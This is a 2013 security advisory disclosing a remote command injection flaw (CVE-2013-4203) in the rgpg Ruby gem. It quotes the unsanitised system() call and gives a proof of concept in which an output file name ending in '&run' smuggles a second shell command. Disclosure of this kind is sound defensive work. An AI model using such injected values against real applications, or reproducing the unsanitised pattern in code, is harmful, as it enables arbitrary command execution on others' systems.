Advisory #: 95
Title: Rgpg 0.2.2 Ruby Gem Remote Command Injection
Author: Larry W. Cashdollar, @_larry0
Date: 2013-07-31
Download Site: https://rubygems.org/gems/rgpg
Vendor: Richard Cook
Vendor Notified: 2013-08-01
Vendor Contact: rcook@rcook.org
Description: A simple Ruby wrapper around gpg command for file encryption. rgpg is a simple API for interacting with the gpg tool. It is specifically designed to avoid altering global keyring state by creating temporary public and secret keyrings on the fly for encryption and decryption.
Vulnerability:
The following code snippet does not sanitize user supplied input before passing it to the System () function for execution. If this ApI is used in the context of a rails application remote commands can be injected into the shell. in lib/rgpg/gpg_helper.rb: 68 begin 69 outputfile.close 70 result = system("#{commandline} > #{output_file.path} 2>&1") 71 ensure
CVEID: 2013-4203
OSVDB:95948
Exploit Code:
  1. larry@sp0rk:~$ cat /bin/run
  2. #!/bin/sh
  3.  
  4. echo "Command Injection" > /tmp/rci.txt
  5.  
  6. irb(main):027:0* Rgpg::GpgHelper.encrypt_file 'mykey.pub', 'myfile.txt', 'myfile.txt.enc&run'
  7. => nil
  8. irb(main):028:0> gpg: keyring `/tmp/gpg-key-ring20130804-2970-1et1k4c' created
  9. gpg: processing message failed: eof
  10.  
  11. After above completes:
  12.  
  13. larry@sp0rk:~$ ls -l /tmp/rci.txt 
  14. -rw-rw-r-- 1 larry larry 18 Aug  4 11:12 /tmp/rci.txt
  15. larry@sp0rk:~$ cat /tmp/rci.txt 
  16. Command Injection
  17. larry@sp0rk:~$ 
  18.  
Screen Shots:
Advisory: http://www.vapid.dhs.org/advisories/rgpg-api-rubygem-cmd-inj.html